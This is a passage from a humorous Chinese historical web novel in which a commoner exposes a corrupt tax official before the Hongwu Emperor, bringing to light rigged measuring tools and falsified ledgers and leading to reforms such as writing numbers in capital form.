朱元璋点点头:“朕既然让你们来了,就是让你们说话的。理不辨不明,有何疑问,尽管对质。” 郭桓看向杨成:“你左一个贪官,又一个酷吏。贪与不贪,暂且各执一词,这酷吏手段你可有证据?” 杨成点头道:“当然有,杂货铺掌柜刘通,被秦强抓到县衙,痛打二十棍,皮开肉绽,血流遍地。 无奈之下,他只得推到一个相熟的乞丐身上,说是他强行讨要,才没有开门。 秦强又将乞丐抓来,企图逼他诬陷众商户串联罢市,那乞丐却极有义气,始终不认。 最终秦强悍然动用大刑,将乞丐两腿夹断。海盐百姓有目共睹,皆为之流泪。 此丐也因此被海盐百姓称为义丐,都说乞丐中尚有义士,冠带中却生贪官!” 秦强大怒,自己后来早看明白了,明明是众商家合伙雇的那个乞丐挡灾挨打的,却被杨成说成了大义之举! “你胡说!分明是那乞丐见钱眼开,烂命一条!你把乞丐说得比官员还高尚,分明是侮辱斯文,藐视朝廷!” 杨成怒道:“乞丐怎么了?乞丐中就不能有义士?乞丐就比不过你们这些读书人吗?” 秦强急了:“乞丐乃下九流,如何与读书人相比,乞丐……” 郭桓重重地咳嗽了一声,秦强一激灵,顿时从急怒中回过神来,慢动作一样地看向朱元璋。 朱元璋一言不发,嘴角似笑非笑地看着秦强,手中摩挲着惊堂木,就像在盘自己当年要饭的碗。 秦强赶紧说道:“不不不,皇上,臣不是那个意思,臣,这杨成极其刁滑,故意引臣失言,分明是居心叵测啊!” 朱标看了朱元璋一眼:“皇上从不避讳兴义军之前,潜伏民间体察民情之事,你也不必避重就轻。 你只说,杨成所言是否属实,你是否抓打过商户,又是否夹断过那乞丐的两条腿?” 秦强被杨成下了套儿,一时间方寸大乱,而且这些事儿是真实存在的,他也不好否认。 最多只能按之前说的,辩解自己是为了解决商户罢市的问题,或可糊弄过去。 但杨成并没有否认商人曾罢市过,只是胡说他不肯拿出朝廷命令,所以导致商户罢市。 而且杨成此刻强调的,是秦强使用酷吏手段逼迫商户,这就很值得人怀疑了。 站在朱元璋父子的角度,会相信秦强仅仅是为了大明朝廷的税赋着急,而不顾民愤地下狠手吗? 人没有无缘无故的爱,也没有无缘无故的恨,秦强把商税加得这么高,又下这么狠的手…… 就在秦强彷徨无计之时,刑部尚书王惠迪开口道:“皇上,此事颇有蹊跷。 按理说刑名之事,是归知县管的。秦强虽为户部派员督办税款,但并无指挥知县审案的权利。 所以无论是对商户刑,还是对乞丐用刑,应该都是海盐知县的手尾,秦强最多是参赞罢了。” 秦强如梦方醒,感激的看了王惠迪一眼,连连点头。 “正是正是,我见商户有罢市之意,便与知县郭纲商议,郭纲见刁民可恨,便派捕快抓来吓唬一下。 谁料那乞丐出言不逊,又不肯老实交代,郭知县才命人动了大刑,一时失手罢了。” 郭纲身为知县,就是没有征税这回事儿,他也有权利随时抓人审案,乃至动刑。 就算刑罚过重,也不过是落个苛酷之名,倒也没有太大实质性的危险,最多是丢官罢了。 有这么多靠山在,随时可以帮郭纲重新上岗,搞个更好的职位,所以秦强也不怕郭纲不认账。 杨成摇头道:“秦强,分明是你主导此事,抓商人的是你,打乞丐的也是你,为何诬陷清正廉明的郭知县呢?” 秦强心神已定,冷笑道:“官府中事,岂是你乡野草民能知道的?我们谁主导此事,你如何得知?” 杨成点头道:“我当然知道。若非你主导,为何我身上会有你的亲笔承诺。 你白纸黑字写得清清楚楚,说只要商户开门营业,你就不抓也不打了。 请问,这是不是能证明,之前对商户和乞丐连抓带打,都是你干的?” 第七十八章 太平年 杨成,我X你X,我X你XX,我XX你的XX! 秦强直勾勾地瞪着杨成,心里把杨成未来的七房媳妇骂了个遍,当然也没放过白寡妇。 他是真没想到,杨成给他挖的坑竟然如此深远,难怪当初非让他写字据才肯开市呢。 朱元璋看着夏思忠小跑着送上来的纸条儿,再看看秦强,语气平静而冷淡。 “秦强,这可是你亲笔所写?” 秦强知道,写这纸条儿时众目睽睽,且自己也不是用左手写的,否认没有意义。 “是臣所写,皇上不知,那杨成奸猾之极,他怂恿商户**,要挟臣写下字据才肯开业,所以……” “所以你就被迫承认了自己没干过的事儿,把郭纲抓人**的事儿都抗在自己肩上了? 大明居然还有你这样忠心耿耿的臣子,朕居然一直没有发现,可说是有眼无珠了。” 秦强吓得浑身一哆嗦,跪倒在地,只能不停喊冤,却说不出什么情由来了。 兵部侍郎**忽然道:“皇上,秦强此事却有不妥之处,但杨成却也不是什么良善百姓,乃刁滑之徒。” 朱元璋看向他,示意他把话说清楚,一个大老爷们,又不是女人,吞吞吐吐的也没人喜欢。 **盯着杨成:“你刚才说什么来着?你说海盐百姓皆是良善之民,朝廷有难,百姓为朝廷分忧乃是本分,并无怨言,可对?” 这是杨成的原话,他点头表示肯定,**冷冷的说道。 “朝廷有难?有什么难?当今皇上圣明,大明蒸蒸日上。朝廷用兵,也是为了开疆拓土,与难何关! 你妄言朝廷有难,所以才加税于民,分明是心存怨望,诅咒大明,果然是东吴之地的刁民! 既然从心里就不忠于大明,也难怪你借题发挥,抓住秦强的小错,借皇上爱民之情,刁难朝廷!” 这番话可谓另辟蹊径,抓住了杨成口中的“朝廷有难”一词,借着海盐为东吴之地的引子,勾起朱元璋的旧恨。 百官都知道,朱元璋对东吴旧地的百姓是比较厌恶的,所以说杨成诅咒朝廷,希望大明或朱元璋倒霉,自然就容易共情。 一旦朱元璋认定杨成是借题发挥,刁难朝廷,刁难自己,那他满腔的怒火就会把杨成烧得一根**都不剩。 而与之相对的,秦强虽然擅动刑罚,但既然杨成煽动百姓是希望大明倒霉,那秦强所为就不是直接原因了。 这就是兵法中的围魏救赵,秦强此时深陷大坑,谁要救他都可能跟着倒霉,但攻击杨成却是安全的。 而且最妙的就是,这番话由兵部侍郎说出来,最为得体,若是别人说,就有鸡蛋里挑骨头的嫌疑。 可兵部侍郎掌管军事,朝廷大军整装待发,这时候最是需要讨口彩的时候。 军中连吃败**都不敢说“败”字,得说“去”**。 军营门口大妈吵架都不敢喊“退,退,退”,得喊“旋,旋,旋”。 所以我身为兵部侍郎,迷信点怎么了,都是为了皇上!只要为了领导好,封建迷信随便搞。 朱元璋没说话,只是看向杨成。朱标皱了皱眉头,欲言又止。 杨成一脸愕然,抬头看向朱元璋,又看向朱标,最后看向六部官员。 这番举动其实是失礼的,仰面视君,居心不轨,如果朱元璋较真儿,当场就可以打他一顿。 不过以杨成现在可能背负的罪名,这点小罪压根就不值得在意,朱元璋也不可能较这个真儿。 罪名都够**的了,加不加上随地吐痰算得了什么? 而且杨成脸上的愕然也让朱元璋挺愕然,你愕然个什么劲儿?难道**的话你没听明白吗? 朱标忍不住开口道:“杨成,你说的‘大明有难’,是否语气错了,莫非是有‘难处’的意思?” 朱标把“难”的第四声改成了第二声,意思一下就变了,从诅咒大明变成了文化水平不高。 见朱标帮着杨成说话,六部官员不但没有不满,反而松了口气。 因为他们太了解朱元璋的脾气了,在朱元璋这里,从来没有什么将功赎罪之说。 功是功,罪是罪,再大的功也抵不了罪,大明不允许那么牛逼的人存在!除非他姓朱。 所以朱元璋很讨厌和稀泥,也讨厌别人和稀泥,唯一的例外,就是太子朱标。 当朱标开始帮杨成和稀泥,而朱元璋不反对的时候,就说明他今天不打算太较真儿,杀心不重。 所以如果杨成的过错可以和稀泥,秦强的过错自然也可以,只要秦强的过错遮掩过去,其他事儿都好说。 可没想到朱标都把答案送到杨成嘴里了,杨成却一脸茫然地吐出来了。 他脸上的愕然一点也没变少,只是在渐渐变化,迷茫中带着一片淳朴,伤感中带着更多喜悦。 “原来,朝廷 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从大诰中,草民等百姓得知,皇上出身贫苦,故而登基后爱民如子,嫉贪如仇。 因此当秦强说大明有难,朝廷需要加税之时,草民等皆深信不疑。 因为草民等相信,皇上爱民如子,若非急难之时,皇上怎会轻易加税? 皇上,海盐百姓都是经过乱世的,宁为太平狗,不做乱世人啊。 大家都盼着朝廷能度过危难,哪怕倾家荡产也愿意的。可也正因如此,才格外关注此次征税。 为何以前征税,官员们说什么就是什么,百姓从无异议?而这次就如此激愤? 皆因百姓相信秦强所说,朝廷有难,可这厮却还在用各种手段中饱私囊! 皇上啊,草民等不是没见过贪官污吏,可那得分什么时候啊!国难当头,犹自贪腐,这还是人吗? 今日听皇上和各位大人所言,才知道朝廷有难是秦强吓唬百姓的,大明安好,皇上安好,比一切都重要! 皇上,这状我们不告了。自古官尊民卑,贪官污吏自有朝廷处置,轮不到草民等越俎代庖。 皇上要治草民鲁莽行事,侮辱官员的罪,草民也不再辩解,甘愿认罪。 只求皇上让草民的随行人等回家,告知百姓们,大明山河无恙,皇上朝廷无难,草民死而无怨。” 第七十九章 绝杀 公堂之上,寂静如空山,不但没人说话,连鸟儿语都没有。 兵部侍郎王志半张着嘴,呆呆地看着杨成,不知道自己的围魏救赵,究竟围了个啥东西。 就连郭桓都目视秦强:果然如此吗?这厮看起来可不像是演的呀? 只有秦强憋闷得要爆炸了,几次交手,他太清楚杨成是个什么东西了。 不管杨成如何吹嘘自己,秦强都认,因为杨成确实很厉害。 可忠君爱国好少年?这人设太过分了吧! 你担心朝廷有难?你担心天下不太平?你那本《大诰》是买来供奉的吗?你是为了对付我! 可秦强却没法反驳,因为杨成说的这一切合情合理,他能反驳什么? 反驳他说过朝廷有难吗?那就是他承认皇上不爱民如子,屁事儿没有,想起来就加税! 反驳杨成买《大诰》供奉吗?秦强绝对相信,以杨成的狡猾,他出门前家里供桌都摆好了! 反驳杨成大闹税场不是为了抗税,而是为了自己这个贪官发国难财,激怒了百姓吗? 也只能说这个了,反正总得证明自己没贪才行啊,最多算是百姓误会了吧! “皇上,臣真的没有贪啊!杨成奸猾无比,分明是海盐百姓想要抗税,所以给臣设下圈套。 先以罢市来激怒臣,让臣失去方寸,急怒之下动了刑罚。 又在交税时百般刁难税吏,找茬挑事儿,质疑朝廷规范量具,最后还诬陷臣贪污,以混淆视听啊!” 郭桓终于发声了:“杨成,你这番言辞,确实让人感动,可凡事真的假不了,假的也真不了。 朝廷看事情,一向看结果。因为人的话是不可信的,只有结果骗不了人。 而这件事儿的结果就是,不管秦强有没有贪污,朝廷都没能收上海盐县的税款来!” 这话很有道理,朱元璋微微点头,秦强大大地松了口气,同时暗骂自己吓破了胆,竟然忘了这番话。 看来同样当贪官,人家能当到户部尚书,自己只当到个主簿,确非偶然啊! 杨成瞪大了眼睛,愕然看着朱元璋:“皇上难道以为,海盐百姓会为了抓个贪官,就不顾朝廷急难? 哪个米仓里没有偷米的老鼠?谁会为了抓一两个老鼠,就把米仓给拆了的? 哪个医馆没有骗人的庸医?谁会为了打庸医,就不顾给家人看病了的?” 朱元璋一愣,下意识地看向郭桓,郭桓也是一脸懵逼,此时毛骧从看热闹的人群中挤了进来。 “皇上,早上进城时,守城官兵记载车队拉的是粮食,只是数量并不多,只有十几车。” 郭桓松了口气,十几车粮食,无论如何是不够的,他还真以为杨成有什么后手呢。 杨成大声道:“皇上,十几车粮食,草民何须带上百青壮押送?更不会是为了秦强。请皇上打开粮车!” 朱元璋已经意识到了什么,点了点头,看了朱标一眼。 朱标带着毛骧分开人群,来到路边停靠的车旁,让守着车的禁军兵士打开粮车。 车里确实是粮食,但毛骧跳上粮车,伸手往里一摸,就摸到了冰凉凉,硬邦邦的一坨。 伸手抓出来,一锭成色上好的银锭,在阳光下闪着圆润的光,表示着我很值钱。 朱标想了想:“来人,取粮袋来,将粮食称量分装,将银子都拿出来。” 大明初期收税,一直是以实物为主,银钱为辅,但这并非朝廷不想收银钱。 毕竟是银钱好运,且损耗较小,而且给官兵发饷也更方便,四处调拨起来也方便。 但是因为此时的百姓,尤其是农户手中的银钱太少,所以朝廷才不得已而为之。 到了大明中后期,因为银钱多起来了,朝廷就基本不再收实物,都以银钱为主了。 堂外在忙碌着,不停传来报数儿的声音,这声音越往后,堂上各人的神色变化就越大。 秦强从充满希望,到逐渐惊恐,到绝望。 朱元璋从无动于衷,到皱眉思考,到看向杨成的目光逐渐出现欣赏。 郭桓看向秦强的目光从犹豫,到坚定,再到充满了威胁。 一个时辰后,朱标回到朱元璋身边,拍了拍手上的米糠,声音不高不低地说道。 “共计各色杂银六万五千两,比海盐县此次应交粮税……还要高出两成。” 此言一出,秦强面如土色,直接瘫倒在地。他知道,自己死定了。 现在根本不需要分辨他和杨成谁真谁假了,正如郭桓所说,朝廷看的是结果。 既然结果证明了杨成说的那堆屁话是真的,那自己说的话自然就是假的,虽然自己其实挺冤枉的。 朱元璋冷酷的声音中出现了一丝难得的温情,那是扑街网文作者对自己忠实粉丝的温情。 “杨成,海盐离京城不远,户部定的两成损耗,其实已经偏高了。 但无论如何,一成损耗总是要的吧,难道你们这一路人吃马喂的,就没有损耗吗? 还是说,你们一开始就多交了三成?你们……真的是为朝廷忧心了!” 杨成舔了舔干裂的嘴唇,用变得粗糙的手背儿擦了擦被风吹得有些粗糙的脸。 “皇上,我们以为朝廷急用这批税银。因粮食一时半会儿凑不齐,所以尽量凑了银钱。 百姓家中无钱的,便以田地为质押,向外府一些商户借了银钱。 很多百姓没见过世面,担心受骗。因为父祖在海盐有些名望,所以都委托我代为保人。” 杨成说着,从怀里掏出几张借条儿来,有桂花斋的,有糖商的,还有海盐县一些地主富户的。 杨成还在掏,掏出几张地契,显然是还没来得及抵押出去的,上面写的多的有几亩地,少的甚至只有几分地。 朱元璋一向寒冰般的眼神就像被冰锥猛地凿了一下,从瞳孔中间开始破碎,冒出一股温暖的水汽来。 但杨成还没掏完,他胸前就像机器猫的四次元口袋一样,又掏出来两块干巴巴的粗粮饼子。 “因为着急送税金,又担心税银多路上不安全,只能多带人手押运。 但人多了损耗也大,住店吃饭都是钱。百姓们商量后,就给我们准备了干粮。 这一路走来,风餐露宿,没住过几次店,都是在野外睡的,所以税银一分没动。” 朱元璋眼睛里被戳破洞的寒冰在缓缓地消融,那股水汽竟然逐渐凝结成实质,让他觉得大事不妙。 刚好一阵风吹过来救了驾,朱元璋假装被风迷了眼睛,用龙袍擦了擦。 然后,他看向秦强,眼中的水汽迅速冷却成冰棱,而声音则更加寒冷。 “秦强,你知罪吗?” 第八十章 规范天下 秦强整个人都是麻的,他实在不明白,自己究竟和杨成有何仇恨。 是两家的祖上有仇怨吗?不能吧,如果杨成叫岳城,或是自己叫潘强,那还说得过去。 姓杨的和姓秦的祖上能有什么仇怨啊?他为啥要这么坑我啊? 如果你坑我是为了省钱,我也就不说啥了,大家各为其主,各有所图。 就像舔狗追求女神,女神抗拒,对舔狗来说这可以理解,也不会责怪女神不乖乖就范。 可这女神抗拒之余,还一脚踢碎了舔狗的蛋,然后转过头来主动摆姿势,就让舔狗老板给舔了。 这就让舔狗十分伤心且不能理解了。既然你不是为了免舔,为啥我舔就不行呢? 你不让我舔我也能理解,你就不能好好跟我说吗?干嘛非要让我鸡飞蛋打呢? 秦强此时就是这种感觉,杨成既然咋整都要交税,甚至连自己私下加的损耗都主动交了,为啥还要抓自己啊? 秦强自知黄土已经埋到脖子了,但总还得奋力挣扎一下。 “皇上,臣承认手段苛酷了一些,但臣是真的想要尽快为朝廷征税上来啊!臣绝无贪腐之心啊!” 朱元璋转向杨成,冰棱又化成了春水:“杨成,你告他贪腐,还有和证据,都说出来。 今日百官在此,百姓围观,咱们让他心服口服,也免得百官说朕不依律法!” 百官心说你不依律法的时候还少了,但此话自然不能说,都赶紧谢罪,口称“臣等不敢,皇上圣明。” 杨成继续掏自己的四次元口袋,从里面摸出一把刮尺和一个戥子来。 “皇上,本来县衙税吏所用的刮尺和戥子都是朝廷规范之物,但秦强暴怒,喝骂二人。 然后秦强就拿出了这两个东西,说这才是朝廷规范之物,逼迫税吏使用。 税吏不从,他竟下令让守备吴礼带兵抓捕税吏,还让兵丁代替税吏淋斛踢斗。” 朱元璋转向秦强,目光再次冷凝,秦强肝胆俱裂,拼命喊冤。 “皇上,这不是我的东西啊!只是我从海盐县粮库和银库中找出来的呀! 他们平时用的就是这个,千真万确啊!皇上看看这两样东西,陈旧光滑,都是经年使用之物啊!” 朱元璋转向杨成,寒冰化春水。杨成理直气壮,大声说道。 “秦强,你进粮库和银库时,身边并没有人跟着,分明是你随身携带,假意进屋一趟,嫁祸税吏,以便日后逃脱责任!” 秦强悲愤得简直要爆炸了:“我……我没法证明,但我对天发誓,我千真万确是从库房里找到的呀!” 杨成怒道:“用这等非法之物,乃是重罪。假如真是海盐县库之物,他们自当隐秘收藏。 你是第一次来海盐县,何以进了库房,独自一人便能准确找到这等隐秘之物?” 秦强愣了一下,知道自己如果不说明理由,这一关是过不去了。可这理由又着实不光彩。 不光彩和贪污相比,在洪武朝的分量有天壤之别,所以,两害相权取其轻吧…… “臣……臣在入仕之前,曾在其他县衙里当过税吏,故而税吏所藏隐秘之物,臣知道该怎么找到。” 杨成恍然大悟:“怪不得你对淋斛踢斗,克扣百姓之道如此娴熟,原来你当税吏时就贪赃枉法! 怪不得这两件东西如此陈旧光滑,想来就是你当年所用之物吧!你还说你不是随身携带?” 秦强泪流满面:“不是啊,真不是啊,这不是臣的东西啊,皇上明鉴啊!” 朱元璋抬抬下巴,这次不用毛骧,府尹夏思忠上来拿过刮尺和戥子,仔细看了一下,心里已经有数儿了。 但他还是让府中管银钱的师爷上堂来鉴定一下。那师爷只看了一眼,掂了掂,便肯定地说道。 “这戥子的托盘比规范的至少轻了一钱。如此一两银子放上去,显示就是九钱。 这刮尺立起来平放在桌案上就能看见,其中一面并非直线,而是微微内凹。 用这等刮尺刮粮,一斗至少要多交一成。此皆前元时官吏常用贪污手法。” 朱标皱起眉头:“这尺子和戥子上都有大明官制字样,难道竟有人敢伪造官器吗?” 那师爷为难的看了夏思忠一眼,夏思忠知道他的顾虑,赶紧说道。 “太子询问,自当如实回答。你之前在前元当过税吏,知道一些手法不足为奇。” 师爷这才说道:“太子有所不知,这两样东西都是真的官器,只是被人动了手脚。 这戥子的托盘,为了防止人作弊,是正面反面都刻了字,且以专用油漆覆盖。 若是有人想磨薄托盘,减轻分量,那势必会破坏了字,磨掉了漆,想复原很难。 但民间有那一等高手匠人,可以金刚钻在盘侧面转孔,将托盘内部掏空部分。 因此这个托盘,此处有细微一点颜色略差,便是补漆之处,沿此处划开便知。” 然后师爷又拿起那把刮尺:“这刮尺乃阴沉木所做,故而受潮受热受冻皆不会变形。 且此刮尺坚硬无比,刮粮万次也不会磨损,若有人强行磨出凹槽,重量会变轻,也会被发现。 然而有一种药水,浸泡此木数日后,木头会变得柔软。 此时在一面以重物挤压,就会变弯。而另一边还是直的,且重量不变。 税吏刮粮时,若收了卖粮人的好处,便用直的一边。若收不到好处,就用弯的一面刮。” 朱元璋和百官都不是不食人间烟火之人,也知道粮银交割之时有很多猫腻。 但从手段到原理,第一次听得这么清楚明白,也不禁暗呼涨姿势了。 朱元璋冷哼一声:“好一群城狐社鼠,在这上面倒是人才辈出啊!想不到前元亡了,我大明又后继有人了! 太子拟旨,今日起,彻查大明所有府县粮库和银库的规范量具,若有此等不法物件,一律销毁。 掌管不法物件的税吏,斩!负责管理税吏的官员,斩!府县主官罢官免职,流放千里!” 一股浓厚的杀气笼罩应天府大堂,六部官员无不毛发竖起,全身战栗。 杨成忽然开口道:“除了随身携带这两样量具之外,草民因为和商户打过交道,听他们说起过。 从海盐到京城,即使运输的都是粮食,因为距离近,交通便利,实际损耗也不会到半成。 便是杭州往南的地方,因为有一部分水路运输,损耗也绝达不到一成。 真正能达到两成损耗的,那得是大明的边陲之地,或是山高路险之地。 可海盐的损耗都定了两成,百姓心中有疑问,以往征税剩下的损耗,真的都入了大明国库了吗?” 第八十一章 替罪羊 如果说杨成上一次的长篇大论,让应天府大堂犹如空山,那么这次直接犹如墓地了 许久之后,第一个诈尸的理所当然是户部尚书郭桓,因为这事儿归他管。 “皇上,按朝廷律法,户部在当地加征的损耗,是视季节、路程、路况、押送人员数量等情况来定的。 因此各地区的损耗并不固定,即使臣忝在代尚书之位,一时间对每个县城的损耗情况也难以尽知。 但臣敢对天发誓,从民间征上来的每一粒粮食,每一个铜钱,除了真实损耗外,都进入了大明国库。” 朱元璋还在看着摆在桌子上的刮尺和戥子出神,许久后才开口道。 “太久的账目不好查对,朕就问问,上一次年下征税,海盐县的损耗是几成?” 郭桓刚才已经说过一时间难以尽知,因此此时他即便知道,也不能随口说出来。 他看向侍郎王道亨;“王侍郎,你可记得,户部上次在海盐县的损耗征的是几成?” 王道亨看见郭桓的眼神儿,就已经知道他的意思了,当下装作皱眉思索,然后忽然想起来的样子。 “本来大明有一千多个县,皇上猛然一问,臣也难以尽知的。 幸好因前几日上朝议事时提到过海盐,臣回去后曾看过一下往年的账册,去年应该是定的一成。” 朱元璋平静地问道:“好,王道亨,你去把账册取来,看看去年入库钱粮是多少。” 他的眼神看向毛骧,毛骧会意,立刻跟上了王道亨的脚步。 而此时,郭桓镇定的站着,恰到好处地怒视着秦强,就像一个正常的领导看着犯了大错的下属一样。 秦强看向郭桓的眼神中有恳求,有哀怨,但最后在郭桓的怒视下,终于变成了绝望和认命。 过了一会儿,毛骧和王道亨回来了,带着一摞账册。 打开后,王道亨干巴巴地念到:“去年海盐县税款折银平准入库三万八千二百三十六两,无欠银,无欠粮,无盈余。” 朱元璋淡然道:“看来,那一成的损耗,当真损耗得一文钱都不剩啊。” 郭桓惶恐道:“皇上明鉴,朝廷缺钱粮,户部为保证税银及时足额入库,对下面押运办事之人不敢太苛。 他们路上或赶不上驿站,住店时包的房间贵一些,或吃的酒菜贵一些,都有可能。 便是一路上办事之人,小有偷盗,或虚开花账,可能也都是难免之事。 之前臣等未能及时制止此等不良之风,总以为水至清则无鱼。今日皇上提起,才体会到蚁穴溃堤之危。 臣今后定当从严约束户部上下,同时请吏部行文各地府县,一众收缴押运之人,不得沿路奢靡虚费。” 郭桓这是既认错,又解释,连消带打。而且一成损耗本来也不算太过分,也还说得过去。 朱元璋忽然问道:“既然去年是一成损耗,为何今年给海盐县定了两成损耗? 朝廷临时加五成税是为了尽快打仗,你们加一成损耗,却是为了什么?” 两成损耗之事,从秦强出事儿那天,郭桓就已经做了最坏的准备,此时自然不会慌乱。 他只是诧异地看着王道亨,表示和皇上同问。 王道亨带着大惑不解的神情,反复翻看账册,忽然惊讶道。 “皇上,尚书大人,这……户部留底的账册上,分明写的海盐县今年还是一成损耗啊! 可是从海盐调回来的账册上,写的确实是二成损耗,而且半银半粮四个字也是后写的字!” 六部官员的目光“刷”的一下,全都集中在了秦强的身上,而秦强此时已经平静下来了。 他惨然一笑,整理了一下衣襟,拢了拢散乱脏污的头发,直起身子。 “启禀万岁,此事是臣自作主张了。臣见海盐百姓抗拒交税,担心收不齐税,耽误了朝廷大事。 俗话说,取法乎上,仅得乎中,取法乎中,仅得乎下。所以臣不得不调高损耗。 便是臣调高商税一事,也是为此。万一百姓不肯交齐税银,则只收到七八成,也就够了。 臣所作所为,不合律法,但臣的忠心天日可表,臣都是为了朝廷,为了皇上啊!” 朱标大怒,但碍于朱元璋在旁,他还是克制住了自己,没有拍案,只是起身怒斥。 “一派胡言!什么取法乎上仅得乎中,你分明是假公济私,中饱私囊! 户部下发的征税文书,你都敢擅自改动!百姓本已咬紧牙关,支持朝廷,你却还在不断加码! 你让百姓误以为朝廷加税七成!你逼迫百姓低价卖粮交银!你还敢淋斛踢斗,使用违规量具! 你让百姓误以为朝廷不管他们死活!反过头来还污蔑杨成等人,说东吴百姓心存怨念! 你这叫为了朝廷?你这叫为了皇上?你这叫忠心?你……你……你……” 朱标脸色铁青,这倒不是说他真的达到了爱民如子的程度,虽然他比起朱元璋来仁厚许多,但毕竟也是多年储君,不至于那么感性和圣母。 他此时的心情和怒火,和之前秦强的舔狗逻辑是一样一样的。 朝廷要打仗,征税必不可免。本来老百姓就会因此骂朝廷,骂皇上,骂我们老朱家。 但我们确实有需要,也干了,挨顿骂也认了。可我们明明没干,是你干的,我们却要替你挨骂,这简直是岂有此理! 这就像火车过隧道时,你亲了对面儿姑娘一口,结果过完隧道我却挨了姑娘一巴掌,被骂色狼! 从古至今,只有臣子替皇上背锅的,还从没听说过皇上要替臣子背锅的,我去你大爷的! 好脾气的儿子都被气成这样,暴脾气的老朱自然就不用说了,但他却比朱标平静多了。 “秦强啊,你他娘的还真是个人才。咱一时半会儿,竟然还想不出适合你的死法了。 什么腰斩,什么凌迟,感觉都配不上你啊。那就,剥皮萱草吧。 当初咱想出这个古法来,本来真没想过能用上,只是想震慑一下贪官污吏。 想不到这么快就用上了,呵呵,看来朕还是心太软,心太软啊,把所有…… 把所有在京官员都叫上,到午门外参观剥皮萱草的过程,风干之后,装上马车。 从南到北,每个府县衙门都要走到。每个府县官吏,都要写观后感,不得少于五百字!” 没人敢出声,秦强面无人色,只是看向郭桓。郭桓疾恶如仇的眼神里,掺杂着只有秦强才懂的意思。 放心去吧,你妻子儿女父母,吾养之。 杨成轻轻叹了口气,不再看秦强,而是看向朱元璋。 “皇上,腰斩凌迟,剥皮萱草,都未必能断绝贪腐。这户部账册,总得想个办法,不可更改才好啊。” 第八十二章 文书漏洞 杨成的话让朱元璋陷入了沉思,朱标则欣赏地看着杨成。 和朱元璋不同,朱标虽然不是圣母,但他毕竟是从小被宋濂这样的大儒教育的,比失学儿童朱元璋思想温和一些。 朱元璋认为问题是人造成的,人是客观主体,问题是主观客体,就像大脑和思想的关系一样。 所以朱元璋在解决不了问题的时候,就会直接解决造成问题的人,物理消灭问题的基础,人之不存,问题焉附? 朱标则认为问题是客观存在的,如果不能解决问题,换一批人上来问题依旧存在。 也就是把问题看成病毒,只要病毒没被消灭,来多少人都会被传染上,所以要常打预防针。 所以朱标只杀病入膏肓的人,程度轻的还会抢救一下。不像朱元璋,常常把轻罪重罪一律干掉。 杨成的建议就是预防为主,采用一些方法,消灭或减轻病毒生存的环境,这非常符合朱标的思路。 这就像有些开手动挡过多的朋友,想要强制自己休息几天,并不需要删掉电脑里的驾校教程,只要拆掉窗帘儿就行…… 郭桓隐隐觉得不对劲,但此时户部官员整体都十分被动,生怕朱元璋迁怒他们,所以都不敢说话。 倒是吏部尚书刘崧颤巍巍的开口了:“杨成,我也在户部任职过。这账册修改,古来有之,你若能献策杜绝,也是一功。” 杨成指着账册:“办法其实早就有,只是前元统治粗放,贪污受贿蔚然成风,废弃了很多东西。 如今大明账册,多沿用蒙元时期的方式,故而漏洞很多,容易被人钻了空子。 各位大人都是饱学之士,对唐宋时期的契约记数法,应该不陌生吧?” 郭桓脑子嗡的一声,险些站立不稳,他知道,杨成这不光是要对付秦强,而是要把整个户部的贪腐体系刨了祖坟。 王道亨第一个站出来反对:“契约记数法虽然古已有之,但只用于契约,并未在账册中使用。 其写法何其繁杂,账册文字极小,都是蝇头小楷,要写契约数字,更是难上加难。 皇上再三督促六部,要提高官吏的办事效率,你这不是凭空增加难度,与皇上作对吗?” 契约数字,就是大写数字:壹贰叁肆伍陆柒捌玖拾。 这套文字究竟从何时有的,存在一定争议,但至少在唐朝就已经在民间契约中使用了。 到了宋朝时,官府文书中涉及的数字一律都用大写数字了,但在元朝则基本废弃了。 原因大概是元朝对这事儿不太在意,而且在元朝的户部里当官儿的都是汉人,很多事儿大家互相方便。 而大明开国之初,教育体系跟不上,但各地的财务工作又不能停止,因此很多账房都是学历存疑的。 他们能把账记清楚就很不容易了,自然也不会自找麻烦,搞什么大写数字。 朱元璋之前并没有注意到过这个问题,但此时杨成一说,他的脑袋里就像划过一道闪电。 对呀,这个解决问题的方式,简单,粗暴,直接,我喜欢。 “杨成言之有理,就这么定了。至于难以书写,可找写字好的书生誊抄便是。” 王道亨赶紧说道:“皇上,可是契约的数字,只有从壹到拾啊,可是记账金额还有百和千呢。” 朱元璋看向杨成,杨成道:“皇上,百和千可用古时候表示百夫长和千夫长的两个字,佰和仟来代替。” 朱元璋一拍桌子:“好,就是这样,万就不用变了。如此,无论多大的数字,都可以用契约数字表示了!” 王道亨还想再挣扎一下,郭桓冲他微微地摇了摇头,示意他别再说了。 不管后面想什么办法搞些变数,眼下都不能顶撞朱元璋,否则后果不堪设想。 刘崧想起了什么:“杨成,数字虽然不能改了,但秦强在文书后加字篡改,又该如何呢? 这可不只是户部的事儿了,其他各部的文书,也有此漏洞啊。” 杨成想了想:“草民看过告示,又看了户部公文,现在公文格式是以‘此令’作为收束之语。 但现在为了格式好看,此令是单起一行的,这就给了别人在上一行里添字的机会。 可将‘此令’二字紧随公文最后一字,以表示后面别无文字之意。虽然格式上难看些,但更加实用。” 刘崧连连点头:“言之有理,公文本就为实用之文,岂能因行文之美而增漏洞之危?当改之。” 可能有人会奇怪,用大写数字和修改公文格式,这么简单的事儿,一两个人想不到,这么多官员都想不到吗? 可事实就是,明朝一直到出现了巨大的贪腐案之后,朱元璋才想到规定用大写数字来写公文。 可见世间许多漏洞,并非没人想到如何弥补,而是那些漏洞,压根就是有人故意留出来的。 因此这些能想到的人,不但不会说出来,还会拼命遮掩,以求漏洞永存,自己就可以在洞里为所欲为。 朱元璋想不到自己审个案子,不但揪出了秦强这个贪官,还整饬了天下的量具规范,更堵住了公文的漏洞。 这般一举三得,也让最近心情郁闷的朱元璋十分开心,他一开心,就想到要赏赐杨成。 “杨成,你为大明抓了个贪官,又提出好的奏议,还急朝廷之所急,亲自押送税银入朝。 咱要赏赐你,你说吧,想要什么。可惜不能赏你当官,咱重兴科举时就说过,非科举不得当官。” 朱元璋的称呼在朕和咱之间反复横跳,常常代表了他的心情变化。 有人分析过,朱元璋在恼怒的时候,或面对疏远之人时,更喜欢用朕来自称。 当他高兴时,或面对亲近之人时,就喜欢用咱来自称。当然这也不是确定的。 例如他要杀秦强时,愤怒之极反而显得极为平静,就用上了咱,完全是物极必反。 杨成行大礼,恳切道:“草民敢抓捕贪官,上京申冤,非草民之功,乃皇上大诰之功也! 若无皇上大诰,草民如何敢动手?便是草民拼死为国,又岂是朝廷驻军的敌手? 